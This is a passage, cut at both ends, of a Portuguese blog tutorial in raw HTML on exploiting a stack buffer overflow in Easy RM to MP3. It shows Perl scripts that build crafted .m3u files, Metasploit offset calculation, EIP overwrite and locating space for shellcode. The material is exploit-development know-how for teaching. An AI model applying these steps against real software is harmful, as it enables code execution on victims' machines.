MP3.&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://1.bp.blogspot.com/-86fVPkXMh3w/TdGfG92C0GI/AAAAAAAAAPo/CRZP8-wN8BY/s1600/img_15.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 333px;" src="http://1.bp.blogspot.com/-86fVPkXMh3w/TdGfG92C0GI/AAAAAAAAAPo/CRZP8-wN8BY/s400/img_15.png" alt="" id="BLOGGER_PHOTO_ID_5607437953082249314" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western"&gt;Ok, então o EIP contém 42424242 (BBBB), então sabemos que o EIP tem um offset entre 25000 e 30000. O que também significa que podemos ver os B's restantes na memória para onde o ESP aponta (já que o EIP foi sobrescrito antes do final dos 30000 caracteres do buffer).&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://4.bp.blogspot.com/-oxppYgA1BTU/TdGfUOS4q6I/AAAAAAAAAPw/09YABKxygnY/s1600/img_16.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 58px;" src="http://4.bp.blogspot.com/-oxppYgA1BTU/TdGfUOS4q6I/AAAAAAAAAPw/09YABKxygnY/s400/img_16.png" alt="" id="BLOGGER_PHOTO_ID_5607438180836486050" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western"&gt;Dump do ESP:&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://3.bp.blogspot.com/-x_B4Gd06UvQ/TdGfdPwbVII/AAAAAAAAAP4/gq-UvJp6f3I/s1600/img_17.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 286px; height: 306px;" src="http://3.bp.blogspot.com/-x_B4Gd06UvQ/TdGfdPwbVII/AAAAAAAAAP4/gq-UvJp6f3I/s400/img_17.png" alt="" id="BLOGGER_PHOTO_ID_5607438335847650434" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western"&gt;Isso é uma boa notícia. Conseguimos sobrescrever o EIP com BBBB e também podemos ver nosso buffer no ESP.&lt;/p&gt; &lt;p class="western"&gt;Antes de podermos começar a construir do script, precisamos encontrar o local exato em nosso buffer que sobrescreve o EIP.&lt;/p&gt; &lt;p class="western"&gt;Para encontrarmos o local exato, usaremos o Metasploit.&lt;/p&gt; &lt;p class="western"&gt;Metasploit possui uma boa ferramenta que nos ajuda a calcular o offset. Ele gerará uma string que contém um padrão único. Usando esse padrão (e o valor do EIP após utilizar o padrão em nosso arquivo .m3u malicioso), podemos ver quão grande deve ser o buffer para que escrevamos exatamente dentro do EIP.&lt;/p&gt; &lt;p class="western"&gt;Abra o diretório tools no diretório do metasploit3 (estou usando uma versão do MSF3 em Linux). Você deverá encontrar uma ferramenta chamada pattern_create.rb. Crie um conjunto de 5000 caracteres e grave-o em um arquivo.&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://1.bp.blogspot.com/-LVT9yQBRCW0/TdGfpp23w_I/AAAAAAAAAQA/Lh4APZ-n-yA/s1600/img_18.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 233px;" src="http://1.bp.blogspot.com/-LVT9yQBRCW0/TdGfpp23w_I/AAAAAAAAAQA/Lh4APZ-n-yA/s400/img_18.png" alt="" id="BLOGGER_PHOTO_ID_5607438549012431858" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   PRE.cjk { font-family: "DejaVu Sans", monospace }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western"&gt;Edite o script perl e substitua o conteúdo de $junk2 pelos 5000 caracteres.&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"crash25000.m3u"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk= &lt;span style="color:#006080;"&gt;"\x41"&lt;/span&gt; x 25000;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk2= &lt;span style="color:#006080;"&gt;"coloque os 5000 caracteres aqui"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;print $FILE &lt;span style="color:#006080;"&gt;$junk.$junk2&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;print &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"Arquivo m3u criado com sucesso\n"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Crie o arquivo .m3u. Abra esse arquivo no Easy RM to MP3, aguarde até que a aplicação morra novamente, e preste atenção ao conteúdo do EIP.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://1.bp.blogspot.com/-4gBlfUZR2aA/TdGf0IoFDFI/AAAAAAAAAQI/oKte_hlfc88/s1600/img_19.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 274px; height: 354px;" src="http://1.bp.blogspot.com/-4gBlfUZR2aA/TdGf0IoFDFI/AAAAAAAAAQI/oKte_hlfc88/s400/img_19.png" alt="" id="BLOGGER_PHOTO_ID_5607438729070578770" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Nesse momento, EIP contém 0x6A42376A (perceba que sobrescrevemos o EIP com 6A 37 42 6A – o valor de EIP como visto na figura, ao contrário – que são as strings = j7Bj).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Vamos utilizar uma segunda ferramenta do metasploit para calcular o tamanho exato do buffer antes de escrever no EIP. Entre com o valor do EIP  (baseado no conjunto de caracteres) e o tamanho do buffer:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://1.bp.blogspot.com/-j77dhO7ixYg/TdGgDzJ-PpI/AAAAAAAAAQQ/Xtbs6Va28jw/s1600/img_20.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 63px;" src="http://1.bp.blogspot.com/-j77dhO7ixYg/TdGgDzJ-PpI/AAAAAAAAAQQ/Xtbs6Va28jw/s400/img_20.png" alt="" id="BLOGGER_PHOTO_ID_5607438998185066130" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   PRE.cjk { font-family: "DejaVu Sans", monospace }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color:#000000;"&gt;1072. Que é o tamanho do buffer necessário para sobrescrever o EIP (é bem provável que o seu valor seja diferente do meu). Então podemos criar um arquivo com 25000+1072 A's, e então adicionar 4 B's (42 42 42 42 em hexadecimal), de forma qu o EIP contenha 42 42 42 42. Também sabemos que o ESP aponta para dados em nosso buffer, então adicionaremos alguns C's após sobrescrever o EIP.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Vamos tentar, modificando o script perl para criar um novo arquivo .m3u.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"eipcrash.m3u"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk= &lt;span style="color:#006080;"&gt;"\x41"&lt;/span&gt; x 26072;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $eip= &lt;span style="color:#006080;"&gt;"BBBB"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $esp= &lt;span style="color:#006080;"&gt;"C" &lt;/span&gt;x 1000;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print $FILE &lt;span style="color:#006080;"&gt;$junk.$eip.$esp&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"Arquivo m3u criado com sucesso\n"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Crie o arquivo eipcrash.m3u, abra-o no Easy RM to MP3, observe o travamento e o conteúdo do EIP e da memória do ESP:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://3.bp.blogspot.com/-GyGH_DCkAyg/TdGgQFqD5PI/AAAAAAAAAQY/TIo5wg1WqR4/s1600/img_21.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 148px;" src="http://3.bp.blogspot.com/-GyGH_DCkAyg/TdGgQFqD5PI/AAAAAAAAAQY/TIo5wg1WqR4/s400/img_21.png" alt="" id="BLOGGER_PHOTO_ID_5607439209309922546" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   H3 { margin-bottom: 0.21cm }   H3.ctl { font-family: "Lohit Hindi" }   TD P { margin-bottom: 0cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Excelente. EIP contém BBBB, que é exatamente o que queremos. Agora controlamos o EIP. No topo do mesmo, ESP aponta para o nosso buffer (C's).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Obs.: o offset mostrado aqui é resultado da análise em meu sistema, que está rodando em uma máquina virtual, inclusive. Em seu sistema, certamente você terá um endereço de offset diferente. Você precisará adaptar o script perl de acordo com o offset que obteve em seu sistema. O buffer que é vulnerável ao overflow inclui o caminho completo ao arquivo m3u. Assim, se o caminho para o arquivo for maior ou menor que o meu, o offset será diferente.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Nosso buffer parecerá com isso:&lt;/p&gt; &lt;table cellpadding="2" cellspacing="0" width="665"&gt;  &lt;colgroup&gt;&lt;col width="127"&gt;  &lt;col width="94"&gt;  &lt;col width="90"&gt;  &lt;col width="336"&gt;  &lt;/colgroup&gt;&lt;tbody&gt;&lt;tr valign="TOP"&gt;   &lt;td style="border-top: 1.00pt solid #808080; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0.05cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="127"&gt;    &lt;p class="western"&gt;Buffer&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: 1.00pt solid #808080; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0.05cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="94"&gt;    &lt;p class="western"&gt;EBP&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: 1.00pt solid #808080; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0.05cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="90"&gt;    &lt;p class="western"&gt;EIP&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border: 1.00pt solid #808080; padding: 0.05cm" width="336"&gt;    &lt;p class="western"&gt;ESP aponta para aqui&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr valign="TOP"&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="127"&gt;    &lt;p class="western"&gt;A (x 26090)&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="94"&gt;    &lt;p class="western"&gt;AAAA&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="90"&gt;    &lt;p class="western"&gt;BBBB&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: 1.00pt solid #808080; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0.05cm" width="336"&gt;    &lt;p class="western"&gt;CCCCCCCCCCCCCCCCCCCCCCCC&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr valign="TOP"&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="127"&gt;    &lt;p class="western"&gt;414141414141…41&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="94"&gt;    &lt;p class="western"&gt;41414141&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="90"&gt;    &lt;p class="western"&gt;42424242&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: 1.00pt solid #808080; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0.05cm" width="336"&gt;    &lt;p class="western"&gt;&lt;br /&gt; &lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr valign="TOP"&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="127"&gt;    &lt;p class="western"&gt;26072 bytes&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="94"&gt;    &lt;p class="western"&gt;4 bytes&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: none; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0cm" width="90"&gt;    &lt;p class="western"&gt;4 bytes&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-top: none; border-bottom: 1.00pt solid #808080; border-left: 1.00pt solid #808080; border-right: 1.00pt solid #808080; padding-top: 0cm; padding-bottom: 0.05cm; padding-left: 0.05cm; padding-right: 0.05cm" width="336"&gt;    &lt;p class="western"&gt;1000 bytes ?&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;h3 class="western"&gt;&lt;br /&gt;&lt;/h3&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   H3 { margin-bottom: 0.21cm }   H3.ctl { font-family: "Lohit Hindi" }   PRE.cjk { font-family: "DejaVu Sans", monospace }  --&gt;  &lt;/style&gt;  &lt;h3 class="western" style="page-break-before: always"&gt;Encontrando espaço na memória para armazenar o shellcode&lt;/h3&gt; &lt;p class="western"&gt;Controlamos o EIP. Dessa forma, podemos apontar o EIP para qualquer lugar que contenha nosso código (shellcode). Mas onde é esse lugar, como podemos colocar nosso shellcode nesse local e como podemos fazer com que o EIP desloque-se para essa posição?&lt;/p&gt; &lt;p class="western"&gt;Para travarmos a aplicação, escrevemos 26072 A's na memória, escrevemos um novo valor no campo salvo do EIP e escrevemos vários C's.&lt;/p&gt; &lt;p class="western"&gt;Quando a aplicação trava, dê uma olhada nos registradores e no dump dos mesmos (esp, eax, ebx, ebo, …). Se for capaz de ver seu buffer (seja A ou C) em um dos registradores, então será capaz de alterar esses caracteres com seu shellcode e pular para esse local. Em nosso exemplo, podemos ver que ESP parece apontar para os nossos C's, então, poderíamos colocar nosso shellcode no lugar desses C's e dizer para o EIP ir para o endereço do ESP.&lt;/p&gt; &lt;p class="western"&gt;Independente de podermos ver os C's, não podemos ter certeza de que o primeiro C (no endereço 000FF730, para onde o ESP aponta), é de fato o primeiro C que colocamos em nosso buffer.&lt;/p&gt; &lt;p class="western"&gt;Mudaremos o script perl e colocaremos um conjunto de caracteres (coloquei 144 caracteres, mas você pode colocar mais ou menos) ao invés dos C's:&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"test1.m3u"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk= &lt;span style="color:#006080;"&gt;"A"&lt;/span&gt; x 26072;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $eip = &lt;span style="color:#006080;"&gt;"BBBB"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;my $shellcode = &lt;span style="color:#006080;"&gt;"1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"5ABCDEFGHIJK6ABCDEFGHIJK"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"7ABCDEFGHIJK8ABCDEFGHIJK"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;&lt;br /&gt;"9ABCDEFGHIJKAABCDEFGHIJK"&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;&lt;br /&gt;"BABCDEFGHIJKCABCDEFGHIJK"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;print $FILE $junk.$eip.$shellcode;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;print &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"Arquivo m3u criado com sucesso\n"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Crie o arquivo, abra-o, deixe a aplicação morrer e veja o dump de memória do 